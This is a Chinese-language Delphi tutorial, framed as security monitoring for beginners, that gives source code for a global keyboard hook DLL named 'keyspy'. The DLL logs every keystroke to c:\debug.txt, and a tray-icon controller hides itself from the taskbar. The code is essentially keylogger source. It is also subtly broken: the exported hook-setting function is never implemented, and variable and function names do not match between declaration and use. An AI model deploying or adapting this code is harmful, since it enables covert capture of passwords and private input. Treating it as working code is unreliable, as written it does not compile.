在許多系統(tǒng)中,出于安全或其它原因,常常要求隨時(shí)對(duì)鍵盤(pán)進(jìn)行監(jiān)控,一個(gè)專業(yè)的監(jiān)控程序必須具備兩點(diǎn),一是實(shí)時(shí);二是作為指示圖標(biāo)運(yùn)行。實(shí)際應(yīng)用中把利用Hook(即鉤子)技術(shù)編寫(xiě)的應(yīng)用程序添加到Windows的任務(wù)欄的指示區(qū)中就能夠很好的達(dá)到這個(gè)目的。我在參考了API幫助文檔基礎(chǔ)上,根據(jù)在Delphi開(kāi)發(fā)環(huán)境中的具體實(shí)現(xiàn)分別對(duì)這兩部分進(jìn)行詳細(xì)論述。
一、Hook(鉤子)的實(shí)現(xiàn):
---- Hook是應(yīng)用程序在Microsoft Windows 消息處理過(guò)程中設(shè)置的用來(lái)監(jiān)控消息流并且處理系統(tǒng)中尚未到達(dá)目的窗口的某一類型消息過(guò)程的機(jī)制。如果Hook過(guò)程在應(yīng)用程序中實(shí)現(xiàn),若應(yīng)用程序不是當(dāng)前窗口時(shí),該Hook就不起作用;如果Hook在DLL中實(shí)現(xiàn),程序在運(yùn)行中動(dòng)態(tài)調(diào)用它,它能實(shí)時(shí)對(duì)系統(tǒng)進(jìn)行監(jiān)控。根據(jù)需要,我們采用的是在DLL中實(shí)現(xiàn)Hook的方式。
---- 1.新建一個(gè)導(dǎo)出兩個(gè)函數(shù)的DLL文件,在hookproc.pas中定義了鉤子具體實(shí)現(xiàn)過(guò)程。代碼如下:
library keyspy; uses windows, messages, hookproc in 'hookproc.pas';
exports setkeyhook, endkeyhook; begin nexthookproc:=0;
procsaveexit:=exitproc; exitproc:=@keyhookexit; end. 2.在Hookproc.pas中實(shí)現(xiàn)了鉤子具體過(guò)程:
unit hookproc; interface uses Windows, Messages, SysUtils, Controls,
StdCtrls; var nexthookproc:hhook; procsaveexit:pointer; function
keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export; function setkeyhook:bool;export;//加載鉤子
function endkeyhook:bool;export;//卸載鉤子 procedure keyhookexit;far;
const afilename='c:\debug.txt';//將鍵盤(pán)輸入動(dòng)作寫(xiě)入文件中 var
debugfile:textfile; implementation function
keyboardhookhandler(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export; begin if icode<0 then begin
result:=callnexthookex(hnexthookproc,icode,wparam,lparam); exit; end;
assignfile(debugfile,afilename); append(debugfile); if
getkeystate(vk_return)<0 then begin writeln(debugfile,'');
write(debugfile,char(wparam)); end else write(debugfile,char(wparam));
closefile(debugfile); result:=0; end; function endkeyhook:bool;export;
begin if nexthookproc<>0 then begin
unhookwindowshookex(nexthookproc); nexthookproc:=0; messagebeep(0); end;
result:=hnexthookproc=0; end; procedure keyhookexit;far; begin if
nexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end; end.
---- 二、Win95/98使用任務(wù)欄右方指示區(qū)來(lái)顯示應(yīng)用程序或工具圖標(biāo)對(duì)指示區(qū)圖標(biāo)的操作涉及了一個(gè)API函數(shù)Shell_NotifyIcon,它有兩個(gè)參數(shù),一個(gè)是指向TnotifyIconData結(jié)構(gòu)的指針,另一個(gè)是要添加、刪除、改動(dòng)圖標(biāo)的標(biāo)志。通過(guò)該函函數(shù)將應(yīng)用程序的圖標(biāo)添加到指示區(qū)中,使其作為圖標(biāo)運(yùn)行,增加專業(yè)特色。當(dāng)程序起動(dòng)后,用鼠標(biāo)右鍵點(diǎn)擊圖標(biāo),則彈出一個(gè)菜單,可選擇sethook或endhook?!?
unit kb; interface uses Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls, Menus,shellapi; const icon_id=1;
MI_iconevent=wm_user+1;//定義一個(gè)用戶消息 type TForm1 =
class(Tform) PopupMenu1: TPopupMenu; sethook1: TMenuItem; endhook1:
TMenuItem; N1: TMenuItem; About1: TMenuItem; Close1: TMenuItem; Gettext1:
TMenuItem; procedure FormCreate(Sender: Tobject); procedure
sethook1Click(Sender: Tobject); procedure endhook1Click(Sender: Tobject);
procedure FormDestroy(Sender: Tobject); procedure Close1Click(Sender:
Tobject); private { Private declarations } nid:tnotifyicondata;
normalicon:ticon; public { Public declarations } procedure icontray(var
msg:tmessage); message mi_iconevent; end; var Form1: TForm1;
implementation {$R *.DFM} function setkeyhook:bool;external 'keyspy.dll';
function endkeyhook:bool;external 'keyspy.dll'; procedure
tform1.icontray(var msg:tmessage); var pt:tpoint; begin if
msg.lparam=wm_lbuttondown then sethook1click(self); if
msg.Lparam=wm_rbuttondown then begin getcursorpos(pt);
setforegroundwindow(handle); popupmenu1.popup(pt.x,pt.y); end; end;
procedure TForm1.FormCreate(Sender: Tobject); begin
normalicon:=ticon.create; application.title:=caption;
nid.cbsize:=sizeof(nid); nid.wnd:=handle; nid.uid:=icon_id;
nid.uflags:=nif_icon or nif_message or nif_tip;
nid.ucallbackmessage:=mi_iconevent; nid.hIcon :=normalicon.handle;
strcopy(nid.sztip,pchar(caption)); nid.uFlags:=nif_message or nif_icon or
nif_tip; shell_notifyicon(nim_add,@nid); SetWindowLong(Application.Handle,
GWL_EXSTYLE,WS_EX_TOOLWINDOW); end; procedure TForm1.sethook1Click(Sender:
Tobject); begin setkeyhook; end; procedure TForm1.endhook1Click(Sender:
Tobject); begin endkeyhook; end; procedure TForm1.FormDestroy(Sender:
Tobject); begin nid.uFlags :=0; shell_notifyicon(nim_delete,@nid); end;
procedure TForm1.Close1Click(Sender: Tobject); begin
application.terminate; end;
---- 該程序雖然只用了幾個(gè)shellai函數(shù),但是它涉及到了在Delphi中對(duì)DLL的引用、鉤子實(shí)現(xiàn)、對(duì)指示區(qū)的操作、用戶定義消息的處理、文件的讀寫(xiě)等比較重要的內(nèi)容,我相信這篇文章能對(duì)許多Delphi的初學(xué)者有所幫助。